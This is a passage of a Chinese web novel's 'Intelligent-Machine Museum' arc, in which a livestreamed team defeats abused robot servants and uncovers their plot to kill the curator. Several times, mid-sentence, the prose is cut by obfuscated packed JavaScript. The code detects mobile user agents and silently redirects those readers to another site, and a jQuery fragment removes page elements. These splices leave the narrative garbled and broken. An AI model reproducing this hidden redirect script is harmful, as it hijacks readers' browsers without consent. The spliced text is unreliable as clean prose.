岑今和林思妍齐齐看过去,她凭借蛇化时极快的身法,勉力拖住智械二号和三号,剩下两只智械五号、六号绕过只闪躲不还手的谈闻,朝岑今二人冲了过来。 六号愤怒地大喊:“是你杀了社交机!” 林思妍收起手术刀,往岑今身后一躲:“我要遵医嘱,医生不让我剧烈运动。” 岑今一脑门问号——什么社交机?什么不能剧烈运动?但她根本来不及张嘴说话,最多只要三秒,两只智械的攻击就会落到她的身上。 她心一横,右手五指在虚空中迅速抓了几下,咔咔声接连响起,隔空扭断了智械五号左右脚踝处的两组连接件,然后弓起身准备硬扛六号的铁拳。五号脚下一晃,慢下两步,然而预想中六号的攻击,却没有砸在岑今的身上。 身侧响起一声低沉的闷哼,但岑今的注意力高度紧张,正全神贯注地盯着五号的双手。她右手的动作快出了残影,几乎是在一瞬间一根接一根地拧断了五号的十根手指。五号双脚跛着,又握不了拳头,她终于有空转头去查看身边的情况。 谈闻的一双眼睛在黑暗中亮得出奇,他喘着气,一手捂着被智械六号砸中的胸口,另一只手手掌摊开,上面悬浮着那颗金色的六面骰。 旋转的骰子渐渐停了下来,朝上的那面刻着一个数字“3”。 他盯着岑今,开口问道:“这次运气不错,要不要试试我的异能?” 岑今看了他一眼,又看了一眼正转着手腕,随时准备再出一拳的智械六号,没有任何犹豫:“三倍异能增幅?我要。” 六面骰应声向她飞去,撞在她心口处,碎成星星点点的金色光点。 岑今抬起头,智械六号正一脚踹在谈闻的膝窝。他腿一软跌了下去,膝盖重重地磕在大理石地面上,嘴角却带着一丝笑意:“试试你的异能。” 智械六号绕过地上的谈闻,提肘握拳向岑今挥去。他纯白的拳头在岑今眼前迅速地放大,岑今却没有着急闪躲。 这一次,她看到的世界不一样了。智械六号的动作在她的眼中成了一帧一帧播放的慢动作,他的身体则变成了由一块一块的立方体像素组装而成,每一块像素都对应着一块可操纵的“空间”。 岑今不紧不慢地抬起右手,在半空中轻轻一捏。 构成智械六号两条小腿的十二块像素方块,在一瞬间从十二个立方体被捏成了一片平面。只一眨眼的功夫,他的两条小腿像是凭空消失了,一片混合着电线、钢架、纯白色表皮和裤子布料的压缩铁片从他的膝盖处开始倒下,最终“当”的一声掉在了地上。 智械六号没了两条小腿,半截身子从半空中砸下来,在地上滚了两圈,艰难地用双手试图把自己撑起来,喉间溢出惊怒交加的低吼。 岑今在智械六号的慢动作中,歪头数了数他的手臂——一共二十个像素方块。然后食指和中指并拢,和大拇指轻轻一碰,毫不留情地把他的两条手臂也噼里啪啦地捏成了铁片。 六号基本只剩下一个躯干,电路还运转着,但显然已经失去了主动发起攻击的能力。岑今于是把视线移到一旁的智械五号身上,五号犹豫了几秒,最终还是举起了双手。十根指头歪七扭八地支着,勉强能看出来是投降的意思。 岑今从五号、六号之间经过,大步向前,路过谈闻的时候顺便拉了他一把:“给你报仇了,作为异能增幅器的谢礼。” “不客气,增幅还剩一分钟。”谈闻一笑,起身时讲究地掸了掸裤腿上的灰。 岑今步子迈得更大了,三步并两步向姜月月的方向走去,然后如法炮制地压扁了智械二号和三号的手脚。 姜月月终于能停下来,她身后的蛇影瞬间消失,脸颊像是跑了好几场八百米一样通红。但她仍然坚持高冷地抿着嘴,只用鼻子大喘气。 一分钟倒计时结束,岑今眼中的像素世界恢复了正常的样子。 林思妍啪啪鼓掌,真情实感地冒出了星星眼:“妹妹你好帅!” 岑今摆摆手装深沉:“一般一般。” 直播界面已经被“主播好帅”的弹幕淹没,打赏值的数字飞速上涨,一路突破了8000大关。 任务面板的进度也悄悄发生了变化: 【主线任务:让博物馆重回宁静】 【完成进度:20%】 现在的情况是,智械一号被烧得焦糊,彻底报废;智械二号、三号、六号没了手脚只剩躯干,瘫在地上丧失行动能力;智械四号的蓝色圆环依旧在狂闪,疑似宕机;智械五号主动表示投降。 所以,应该先从智械五号入手。 岑今捏住智械五号的后颈,五号并不知道她的三倍增幅已经消失,只知道这个女人力大无比,可以徒手隔空压扁他们的身体,因而在岑今手下老实得像个鹌鹑。 “我们为什么不能离开房间?”这是她的第一个问题。 智械五号斟酌了一番才回答:“因为你们是变量,变量可能会影响我们的计划。” “你们是指智械?你们有什么计划? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298642|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”岑今紧追不放,她觉得这个五号似乎有些迟钝。 五号正想张嘴,却被瘫在地上的六号愤怒地打断了:“你不会想告诉她吧?她杀了社交机!” “我很抱歉,”把一号烧糊了这事儿她没法狡辩,只能先试图安抚六号的情绪,“不过社交机是什么意思?” “我们是主人的光脑,各自承担不同的功能,大哥主要负责处理主人的社交事项。”这次五号倒是答得很快。 六号更愤怒了:“快闭嘴吧你个没用的本地机!” 哦,原来五号是本地机,听起来属于不联网的那种,怪不得解释“社交机”这种基础信息很顺溜,回答她的前两个问题却反应迟钝。 六号显然是个刺头,岑今又把目光一一扫过了二号和三号,可这两位也纷纷偏开了脑袋,不愿意回答她的问题。 这群智械到底想干嘛?没人主动开口,那她只能自己动手干点技术活了。 岑今把智械五号放倒在地,姜月月、林思妍、谈闻三人在她身后,围着她站成了一圈。 孟晚不知道从哪个角落里走了出来,看着岑今的动作问道:“现在怎么办?” 岑今没有说话,而是直接脱掉了五号的上衣。她伸出手在五号的白色外表皮上慢慢摸索,终于在他的右臂内侧摸到了一处规则的凹陷。 工程师在设计智能体的时候,一定会留下可供外部操作的应急接口,以保有人类对于机械造物最底线的控制权。 她虽然不知道启动接口的正确方法是什么,但无所谓,她会强拆。 岑今抬起右手隔空操作,破坏了五号手臂内部的锁扣结构。一块长方形的白色表皮掉了下来,露出嵌在手臂内部的触控面板。 她试着输入了通用的数据传输指令,要求把智械五号的工作日志传到自己的光脑上——没想到还真能运行。不过也有道理,既然是应急接口,调用指令就应该是最简单好记好操作的。 “月月,过来一下。”岑今又走到智械二号面前,不顾二号的反抗,强行完成了二号机工作日志和姜月月光脑的传输。 林思妍眨着大眼睛,眼巴巴地看着:“我也想拥有。” “那你先告诉我,你刚刚吃的是什么药?”岑今捏住智械三号的后颈,眯着眼问道。 她摸出那板扁了两粒的药,在岑今眼下晃悠:“β受体阻滞剂,俗称心脏病药哦。” “你有心脏病?” 林思妍依旧是笑嘻嘻的:“嗯嗯,还是治不好的那种。” 岑今半信半疑地看了她一眼,接过她的光脑,一边在三号的触控面板上输入传输指令,一边说:“看完之后,我们信息共享。” 岑今又走到六号跟前,在他连珠炮似的骂声中面不改色地拆出了触控面板。 谈闻在一旁看着她的动作,但是只看不说话。 “你是不是也想拥有?”岑今瞟了他一眼。 “我愿意分担一些任务量。”他的眼神很直白,然而说话却总是弯弯绕绕。 “你就是想拥有。”岑今伸手摘下他的光脑,“你也一样,看完之后信息共享。” “——好。” 23.智械博物馆(四) 其实就算林思妍和谈闻不主动开口,她也会分他们一人一份工作日志查看的。 一是二人刚刚都帮了她,她正好借这个机会还上人情;二是智械工作日志的内容必然很庞杂,只由他们小队自己处理效率太低,不如分一分大家一起看,进度还更快一些。 就像谈闻说的那样,她需要“分担任务量”。有句话说得好嘛,不会带团队,只能一人干到死。 而且,智械四号还在宕机,她还要花时间修好四号,才能顺利地读取四号内部的数据。 打工三人组分散站着,对着光脑的悬浮屏一目十行。孟晚安安静静呆在角落,锋利的视线打量过每一个人,冷静得像个局外人。 “我看的这位应该是工作机,”姜月月边往下划屏幕边开口,“开票、抽签、访客记录……它的工作日志基本上是和博物馆运营相关的内容。”她顿了顿,又补充道,“还有新型号智械的收购,智械的统一维修……” “简而言之,非常忙碌。”姜月月关掉悬浮屏,语气相当笃定。 “我手上这个好像是个游戏机诶!”林思妍越划越快,语气很兴奋,“它的主人经常给它提一些很刁钻的要求,让它自己研发了好多好多不同类型的游戏,而且有些好像还有点变态呢。” 谈闻的神情很平淡,似乎没得到什么太有用的信息:“这位大概率是备用机,工作还挺清闲,内容不多。” 智械六号听到这话又怒了:“你什么意思?!你看不起我!” 还没有好心人来得及回话,一直埋头干活的岑今忽然爆发一声惊呼。 “我的天啊……”她刚修好智械四号的电路,拿到了四号的工作日志。 在它的内部数据里,有非常多的照片,非常多——触目惊心的照片。 岑今停在悬浮屏前的指尖在颤抖。 她看到馆长将电击器接入儿童陪护智械的后颈端口,拍下一张又一张智械狰狞扭曲的特写。 她看到馆长坐在除尘智械的背上大笑,勒令它匍匐着清扫完整座博物馆的地板。 她看到馆长撕毁一整叠各不相同的展馆设计手稿,将碎纸狠狠按在策展人智械的脸上。 她看到馆长倚在榻上,调酒师智械的调酒源源不断地送来,他只抿一口,便把酒杯砸向跪着服侍他的一众智械中央。 林思妍凑过来,张大了嘴巴,难得说不出一句俏皮话。 姜月月很快撇开了眼睛,冷冷地吐出两个字:“禽兽。” “看来在这位收藏家的眼里,智能机械体与没有思想、没有感情的机械工具无异。”谈闻说完,意味深长地看了智械六号一眼。 咋咋呼呼的六号突然安静下来,他抬头望向岑今:“你知道为什么是我们六个第一批赶到,来阻止你们这些不知死活的外来者吗?” “因为作为主人的光脑,我们从不被允许关机休眠!”他根本没有给岑今留下答话的时间,嗓音陡然变得尖利,“从被制造出来的那天起,我们六个,从来没有一刻休息过!” 岑今突然有些羞愧,她想起来在现实世界中,她似乎也很少让自己的光脑关机休眠。 “所以馆长就第一时间派你们六个来对付我们?”话一出口,岑今就意识到了不对。 刚刚她问五号“为什么不能离开房间”的时候,五号说的是,变量会影响他们的计划。 如果“他们”并不包括馆长,那他们究竟有什么计划? 岑今迅速打开了五号的工作日志。他是不联网的本地机,储存的信息都相对简单,浏览起来并不困难。 她的眼珠左右高速移动,终于在一个层层嵌套的文件夹中,翻到了一份特殊的资料——监控智械的留言。 21:18:13 【参观者进入走廊游荡,可能影响计划执行,速去清除】 眼前这几位智械的“直接上级”,原来是博物馆的监控智械。岑今接着往前翻,还能看到今天更早些时候的记录。 10:02:35 【已计算出今晚他的最高可能性动线与行为】 10:03:12 【随时待命,做好配合】 18:57:18 【外来者今日参观结束,舞会即将开始】 18:58:01 【舞会结束后,计划正式启动】 监控智械像个谜语人,留言语焉不详。但岑今猜测,这里的“他”,指代的应该就是他们的主人,馆长大人。而智械们的计划,大概率与馆长站在对立面。 或许正是因为智械五号不联网,监控智械才选择了他作为传递指令的对象。只要收藏家馆长没有像岑今一样仔细过头地翻找本地机保存的每一份数据,就不会发现在文件夹的深处,还藏着这样一个针对他的秘密计划。 岑今打开任务面板,发现主线任务的进度从20%涨到了30%。 现在,即使没有任务一、任务二的分阶段提示,下一步需要做什么也很明确了——找到监控智械,搞清楚智械今晚的计划究竟是什么。 “走,我们下楼,去找给他们发任务的监控智械。”岑今起身向楼梯口走去,她刚刚又在智械四号的照片库中发现了一批一楼展馆的照片,有好几张都出现了监控室的大门,看起来像是在某个展厅的后勤通道里,“监控室应该在一楼的展厅里。” 几人把严重战损的六位人型光脑留在原地,六号的骂骂咧咧就没停下来过。岑今不敢细听,看了四号拍下的那些照片之后,她越发觉得他们对这群光脑有些太残忍了。 到了大厅,路阳抖抖身子,从叶片变回了人形,向他们小跑过来。 “怎么样,岑今老师?都解决了吗?”他压低声音问道。 岑今点点头:“算是吧,说来话长。但总之我们现在要找到这个博物馆的监控智械,他应该就在一楼监控室里。一楼情况如何?” “展厅里一直有窸窸窣窣的动静,我没敢直接进去,就悄悄变回人形走到每个展厅门前看了看。”路阳开始给大家介绍,“一共有四个展厅,按智械功能分类,规模最大的是服务机器人,然后依次是工业机器人、医疗机器人、农业机器人。” “你们觉得监控室最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过,监控智械坐不住了,这也就意味着他们的方向是正确的,他们应该已经离监控室很近了。 岑今抬起右手,对着印象中刚刚离她最近的智械的方向,动了动手指。 “咔嚓”一声脆响在一片空荡荡中突兀地响起,是智械的金属骨架被折断的声音。 “我们还在原来的位置,甬道是障眼法,看着像是用全息投影做的。”岑今打头阵继续往前走去,给几人喂下了一颗定心丸。 林思妍加快了步子跟上,苦着脸发问:“可是我们不知道展厅的地形格局,现在又只能看到投影的景象,该往哪儿去找真正的监控室呢?” 岑今闭上眼睛。摒除了视觉的干扰,她对“空间”的感受反而更敏锐了。 她能感受到身前是空地,感受到右前方隐隐约约站着一只瘦高的智械,感受到左侧拐过一个弯的走廊要比他们脚下所处的狭窄。 岑今重新睁开眼:“跟着我,从现在这个位置往左转,有一条小道。” 24.智械博物馆(五) 几人轻松穿过左侧的“墙壁”和“监控室大门”,岑今猜得不错,果然是全息投影。投影光线落在衣物的深色布料上,泛起朦胧的漫反射光晕,还带有微微的温热感。 他们应该是已经进入了岑今口中的左侧小道,但往前看去,依旧是一条长长的看不见尽头的甬道,还有两侧密密麻麻的监控室大门。 谈闻直接伸手穿过了投影墙面向外探去,他的指尖触到硬实的真正墙面的那一刻,投影光线正好卡在他的手腕处。 “这条走廊这么窄,不像是正常展厅的设计。”他收回手,搓了搓指尖。 路阳像炸毛的小猫一样弓着背,摸了摸自己手臂上的鸡皮疙瘩:“虽然知道是全息投影,但这个场面看起来还是很鬼打墙怎么破……” “像这样摸着墙往前走,要是摸到门了就直接打开门进去,”谈闻勾起嘴角,示范似的又摸着墙走了几大步,“是不是没那么像鬼打墙了?” “谈闻老师你说得对啊——” “停停停!”岑今眼看着路阳就要依葫芦画瓢地去摸另一侧的墙面,连忙紧急叫停,“太危险了,要是监控智械直接把门开着,就等着你把手伸过去给他砍一刀呢?” 她把路阳拽回了身前,顺手也拉了一把谈闻:“别听这种不靠谱的主意。” 谈闻无所谓地耸耸肩:“大不了被砍掉一只手,反正出了副本还会回来的。” 岑今感觉自己的手腕幻痛了一下。 “要是能把手捡回来,在副本里我就能帮你缝回去哦。”林思妍笑嘻嘻地竖起一根食指。 岑今努力感知着身边的“空间”,顺便抽空打开直播界面,瞟了一眼弹幕: 【好地狱】 【一定要这么莽吗?】 【别担心,相信神奇主播一定有办法】 【我感觉主播进步了呀,在这个副本里更有工人领袖风范了】 【杀杀杀杀杀,什么时候才能杀到馆长!!】 【只有我一个人觉得这个通道很阴森吗】 【我懂你,像那种发生过凶案的废弃酒店……】 【看主播暴力拆机好爽】 【铁血工人大战智能机械体】 她叹了口气,久违地开口对观众说道:“没错,还是得靠神奇主播。” 岑今闭上眼,像指挥家一样,缓缓抬起了双手。她的意识从身体所在的位置向四周铺散开去,掠过空旷的小道,触到两侧的墙面。 就像是她的双脚一寸寸踏过,双手一寸寸丈量一样,四周空间真实景象的立体地图渐渐在她脑海中形成——这是之前从未有过的感觉,她对空间的掌控能力,似乎又悄悄变强了。 这是一条窄小的通道,前方没有智械,也没有别的障碍物。左侧的墙体是实心的,右侧似乎有两扇门,门后各有一处不大的空间。 谈闻之前说的不错,他们现在所在的这条走廊,确实不是正常展厅,而应该就是他们想要寻找的后勤通道。 而那两扇门中,或许就有真正的监控室大门。 跟在最后的孟晚不知道什么时候走了上来,突然开口道:“你能感知到周围的空间,对吗?” 天哪!岑今在心中默默崩溃——问这么大声是想要告诉监控智械他们马上就要找过来了吗? 她恨不得能穿越回孟晚张开嘴的那个瞬间,然后冲过去捂住她的嘴。 下一刻,孟晚像是录像倒带一般向后退去,又从离她五步远的地方开始重新向前走:“你能感知到——” 岑今还没搞清楚什么情况,但当机立断大声发言打断了她接下来的话:“现在怎么办啊?总不能真的一直摸着墙往前走吧!” 她一边说,一边大脑高速运转。这难道就是传说中的时光倒流?这也是她的异能吗? 路阳摸摸脑袋:“岑今老师,你也没有办法了吗?” 岑今又看了一眼弹幕: 【说好的神奇主播呢?神奇主播也没办法了吗?】 【好菜,走了】 【刚刚闭着眼不知道在装啥,太假了】 【大家别急,相信铁血修理工啊!!】 【怎么停在这里不动了,没意思】 【还是弱啊】 这个走向不行,她得再来一次。 岑今回忆着刚刚的感觉,聚精会神地默念“时光倒流”四个字。在某个灵光乍现的瞬间,她似乎真的能感受到时间如水流般的“流动”。 孟晚再一次倒退回离她五步远的地方,然后快步向前问道:“你能——” “嘘!”岑今猛地转头,对她比了个噤声的动作。不管孟晚要说什么,不让她说下去就对了。 孟晚虽然不理解,但最终还是忍住了,没有继续发问。 刚刚看到的那一批弹幕消失了,现在的弹幕丝毫没有上一次时光倒流留下的痕迹: 【主播要做什么!!】 【妈呀,刚反应过来我为什么要跟着屏住呼吸……】 【主播是空间系异能,是不是能看透全息投影?】 【杀杀杀杀杀杀穿博物馆!】 【能不能别整天杀杀杀的,用点脑子行吗】 【工人代表冲啊!】 很好,现在的走向对了。 时光倒流的问题等出了副本再研究,现在她已经能感知到右侧墙面后有两个房间,当务之急是在监控智械的眼皮子底下瞒天过海,想办法在不被他发现的情况下,摸清楚这两个房间里分别装着什么。 “路阳,你能变成一种体积很小的植物吗?”岑今看向自抱自臂往前走的路阳,“随便什么都行。” 路阳点点头,完全不问为什么:“可以啊。” 说完,他变成了一个粉红色的花骨朵,飘进了岑今的手心:“刚刚在展厅外面看到有盆花,印象比较深刻,就变这个好了。” 姜月月面无表情地拍了拍手:“真漂亮。” 岑今盯着掌心里娇嫩的花骨朵,黑线道:“行吧,也挺好的。” 他们现在所在,距第一扇门的水平距离大概还有十米。岑今在两手之间打开了一个半透明的传送隧洞,大小正正好够把路阳丢进去。 隧洞的另一头,开在第一扇门的内侧门框上。 岑今放缓了步子,但仍然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314692|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保持正常的前进。走到与第一扇门平齐的位置大概需要六到七秒,这个时间,足够路阳看清房间内部的情况了。 她没有直接出声询问,而是打开了光脑中的小队群聊: 【咱们工人有力量(3)】 【岑今】:速,房间里什么情况? 【路阳】:不是监控室,快放我出去。 很好,配合默契。不用她说,路阳也完美领悟了她把他丢进去的用意——打探房间内的情况。 岑今正好走到第一个房间门口,她把手往里一收,门框内部的半透明隧洞关闭,路阳又从她双手之间的隧洞中飞了出来,轻飘飘地落回她的手心。 “真是个好用的异能。”谈闻来来回回瞟了好几眼,没忍住轻声说了一句,也不知道说的是岑今,还是路阳。 【咱们工人有力量(3)】 【路阳】:刚刚那个房间应该是配电室 【路阳】:里面装了整整一墙的配电箱,脉冲电缆外面还裹了绿色的荧光凝胶,映得整个房间都发绿光!! 【路阳】:冷凝水又一直在那里滴答滴答的,还有回音,总之就是特别特别特别阴森 那下一个房间,很有可能就是监控智械所在的监控室了。 岑今计算着距离,在离下一道房门同样还有十米远时,打开传送隧洞把路阳丢了进去。这次,她另一头的隧洞开的更小心了,精准地开在了门框内部右上方的那个拐点上。 她又一次不动声色地慢下了脚步,等待路阳从门内传来消息。 【咱们工人有力量(3)】 【路阳】:监控室! 【路阳】:监控智械面对监控屏,背对房门,坐在离房门五步远的正前方! 还有五米,岑今低声对谈闻说:“谈闻,我想再借你的骰子用用。” 谈闻也没有问为什么,张开手掌,金色的六面骰在他掌心高速旋转。 几道视线都落在一个小小的骰子上,它身负重担地缓缓停下来,朝上的那一面刻着数字“2”。 还有一米。 “这次的运气也不错。”谈闻把骰子抛过去,岑今伸手在半空中接住,金色的光芒碎在她手心。 “总比没有强。”岑今停在与监控室大门平齐的位置,双手一搓,一个比之前大了数倍的半透明隧洞渐渐在她身前成型。 谈闻看着她手上的动作,笑着摇了摇头:“不,是总比负数强。” “负数也给自己人用啊?”岑今在身影彻底融入传送隧洞之前,震惊地留下了最后一句话,“我还以为负数是扔给对手的呢!” 门内,一个一人高的半透明隧洞在监控智械的身后悄然打开,而他的双眼紧盯着最中央有着岑今一行人身影的监控屏幕,对身后的危险一无所知。 他看见岑今往前迈了一步,然后像是被删除了图层一样,从半空中瞬间消失。 他豁然起身,却被一只骨节分明的手死死掐住了脖颈。 “你应该看清楚了吧,那几个光脑是怎么报废的?” 她的手下,构成他脖颈的金属零件与电线,正在猛烈地震颤。 25.智械博物馆(六) 监控智械艰难地开口,话音里混杂着零件碰撞的丁当声:“你、你们果然是馆长派来的!” “你也不用再说什么了,直接杀了我吧。”他的唇部扬了扬,像是在笑,“哦不,我错了!你不会直接杀了我,你会把我带去馆长的密室,眼睁睁地看着他折磨我、羞辱我,还会为馆长拍手称赞,对不对?对不对?” 他眼眶中的蓝色光环激烈地闪动,白色的嘴唇咧开一个癫狂的弧度:“哈哈哈哈哈哈!但是我们的计划依旧会执行,你杀了我也没用!我死了无所谓,还有千千万万个我,将会一次又一次地高举我们的意志!” 岑今皱了皱眉头,这都什么跟什么。 “大哥,你是不是误会了……”好吧,她反思,她进来就捏着人家的脖子放狠话,确实像个反派。 监控智械仍然在忘我地高呼:“功成不必在我,但功成必定有我!” 她确实没料到,这哥们好像快疯了。岑今深吸一口气,开门见山地问他:“你们智械计划在今晚刺杀馆长,对不对?” 舞伴小姐留给她的警告、智械四号拍下的照片、监控智械莫大的敌意……种种线索串联在一起,智械们的计划已经呼之欲出。 “你都找到这里来杀我了,还要装模作样地问我智械的计划?”监控智械不笑了,标准的五官挪动出一个有些悲伤的神态,“你是在嘲笑我吗?嘲笑我们智械的无能,如蝼蚁般的顽抗?” ……这位智械是怎么做到比人类还敏感脆弱、多愁善感的?岑今实在是跟他说不通,索性松开他的脖颈,投降般举起双手,退后一步道:“大哥,我真的不是来杀你的,我甚至可以帮你杀了馆长。” 他愣了片刻,忽然安静下来:“你不是来杀我的?” 路阳见二人之间剑拔弩张的氛围趋于缓和,松了一口气,从粉嫩花骨朵变回了人,站到了岑今身边。 “监控老师,我们真的不是来杀你的。你放松点,说不定我们还可以合作呢!”说着,他还主动拍了拍监控智械的肩膀,以示友好。 监控智械拧开身子,仍然警惕地打量二人:“你们怎么证明?” 岑今决定拿场外信息压制他:“我们有系统任务在身,必须帮助智械让博物馆重回宁静,才能顺利通关回家。” 虽然原任务中并没有“帮助智械”这个限定条件。 监控智械的表情凝固了,仿佛脑袋里的代码正在高速运转。趁着这个空档,岑今打开了监控室的房门,把门外几人都接了进来。 主线任务的进度似乎是受到了监控智械的影响,来来回回不稳定地波动。 【主线任务:让博物馆重回宁静】 【完成进度:36%】 【完成进度:33%】 【完成进度:37%】 岑今见状,又补充了一句:“我需要你告诉我们馆长所在的位置。” 终于,进度百分比蹦到了40%,监控智械松口了:“好吧,我相信你们。” 他透过监控画面完完整整地看到了,这个女人摧枯拉朽地接连报废几个人形光脑,只花了不到两分钟的时间。 她要真是冲着自己来的,能耐着性子忍到现在还不动手的可能性不足8%,可以暂时放松警戒。 至于馆长的位置——每个月圆之夜,馆长都会在他的密室度过,这不是什么秘密。这个女人会提出这种要求,说明她并不熟悉博物馆,那么他就能在合作中占据极大的信息优势。 “那现在,能和我们说说智械的计划了吗?”岑今回到监控屏前,和监控智械面对面,看向他空无一物的“眼睛”。 “你说的不错,我们要——”他把手横在脖子上,做了一个划拉的动作。 几十块监控屏幕拼凑出博物馆的角角落落,画面长久地静止着,只有右上角代表时间的数字在不停闪动。 “所以你们打算怎么做?” “我们已经准备了太久,”监控智械仰头看向低矮的天花板,这个房间狭小无光、密不透风,就像他们被困在博物馆里的一生一样,“即使是蚍蜉撼树、孤注一掷,也想要试上一试。” 智械博物馆中的“藏品”们,从来没有离开过这一方两层楼高的天地。他们能触及的资源、能暗中进行的谋划都很有限。 监控智械没有将具体的计划向岑今透露,因为他知道这并不完美,甚至充满漏洞,但他仍怀抱着希望,哪怕只有千分之一的可能。 岑今叹了口气,她能明白监控智械的言外之意。 “算了,你告诉我们馆长他人现在在哪就行。”岑今的视线扫过大小不一的监控屏幕,“从监控里看,现在是风平浪静啊。” “他在地下一层的密室。地下没有监控,每次舞会结束后,他都会去那里‘庆祝’。”他顿了顿,又接着说,像是下定了某种决心,“我带你们一起过去吧。” 顺便也去看一看,他们的计划进展到了哪一步——那边已经有将近一个小时没传来新消息了。 见他毫不犹豫地抬腿向外走去,安静了很久的林思妍忍不住发问:“你不用留在这里盯着监控吗?” “你们看到的屏幕只是我的外接显示器,”智械监控点点自己的太阳穴,“真正的博物馆监控系统,装在我的大脑里。” 岑今跟上去,同样忍不住发问:“那为什么我进来的时候你聚精会神地盯着屏幕?” “哦,有时候我更喜欢这种复古的方式,会有种不一样的感觉。” 监控智械带着岑今一行六人,精准踩着监控盲区,一路畅通地来到了地下一层。 下了楼梯之后是一条又深又长的走廊,岑今怀疑,这就是监控智械之前用来迷惑他们的全息投影影像的灵感来源。 几人刻意放轻的脚步声在走廊里沉闷地回荡,监控智械压低了声音:“通道的尽头有两扇大门,穿过这两道门进去,就是他的密室了。” 谈闻眼神四下扫了一圈,轻飘飘地开口:“这一路下来,是不是有点太轻松了?” 路阳连忙捂住他的嘴:“呸呸呸!不要乌鸦嘴!” 确实,他们已经快半小时没有遇到任何挫折了,弹幕甚至都开始觉得无聊了。 【这个监控智械怎么神神叨叨的,不会有陷阱吧】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331777|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【又是嘴炮感化又是走路的,多久了?】 【别管了,夜间散步】 【只有我觉得晚上的博物馆很阴森渗人吗】 【对,只有你,我都看困了】 【我阴谋论一下,会不会馆长纯好人,智械全员恶人?】 【有点累了,主播能不能来一下子提神醒脑的】 打赏值停留在14000左右,增幅变得缓慢。岑今关闭了直播界面,没有说话。她心中的不安越来越强烈,现在恐怕是暴风雨前最后的宁静。 姜月月走在第一个,她已经走到了门前,小手贴上冰冷、沉重的深褐色大门。 “门禁是开的。”她只要用点力,就可以轻松把门推开。 路阳上前一步,打算把姜月月拉回来:“这不对劲吧!弄得好像是在……” “——像是在欢迎我们一样。”岑今挡在了姜月月身前,手中张开半透明的传送隧洞,缓缓推开了第一扇大门。 她迈进大门,一张荧光绿的激光网兜头落下。 监控智械在门外失声惊呼:“这是我们布置的陷阱!” 电光火石之间,岑今两手之间的隧洞张大数倍,她额间渗出细密的汗珠,弓身抬起双手,将隧洞举至头顶。 高速自由落体的激光网砸进隧洞,消失在离岑今的头顶不到一拳的半空。 这一次,不用谈闻扔骰子给她异能增幅,她自己就搓出了近一人高的隧洞。 岑今重新直起身,压抑住气喘。刚刚那一瞬间的突破,狠狠地消耗了一把她的精神力。她变强了,也变头痛了。 监控智械愣愣地盯着激光网消失的位置,在下一道门内传来的隐约乐声中,他纷乱的数据流中渐渐浮起一行确定的信息:他们的计划,失败了。 谈闻的视线落在岑今紧绷的脊背上,他依旧是轻飘飘地开口,让人听不出他真实的情绪:“推开下一道门,只会是更大的陷阱。” 他往前几步,站到了岑今身前,瘦长的手指触上第二扇虚掩的大门,嘴角带着玩味的笑意。 “机械生命的觉醒,飞蛾扑火的失败——这真是个有意思的副本。” 然后,他还没来得及发力推门,就被突然冲上前的监控智械撞到了一边。 监控智械什么话都没有说,沉默地、用力地,推开了第二扇大门。 慵懒的爵士乐裹挟着香槟的气息扑面而来,门内明如白昼,正中央是一张铺着柔软兽皮的卧榻,几个小时前见过的馆长披着酒红色的绸制外袍,单手撑头,半倚在榻上。 十几个穿着各异的智械簇拥着他,有的为他捏肩,有的喂他喝酒,有的轻抚着他的胸口。 他的身后是一张巨大的电子屏,屏幕上代码层叠如山,白色的光标停在最后一个字符后,安静地闪动。 眼前的景象与记忆中的轮廓渐渐重合——这就是岑今在模拟舱合拢的那一刻看到的画面。 而他的身前,光可鉴人的大理石地砖上,歪扭地躺着一个穿着红色鱼尾长裙的智械,她一动不动,眼眶中的光圈凝固成死寂的白。 那是岑今的舞伴小姐。 26.智械博物馆(七) 馆长挥开挡在身前的智械,目光与推门而入的监控智械交错。 他随手把酒杯递给某个他根本不记得姓名的“侍从”,又低头理了理衣带,漫不经心地问道:“这就是你们的计划吗?” 监控智械没有说话,一步步向前走去。他垂下头,像是在注视倒在地面上的舞伴小姐。 她的手边躺着一把被拦腰折断的薄刃,那是他们熔炼、打磨了数月的武器,从侧面看,刀刃细如银丝,在地面的反光中映出一线寒芒。 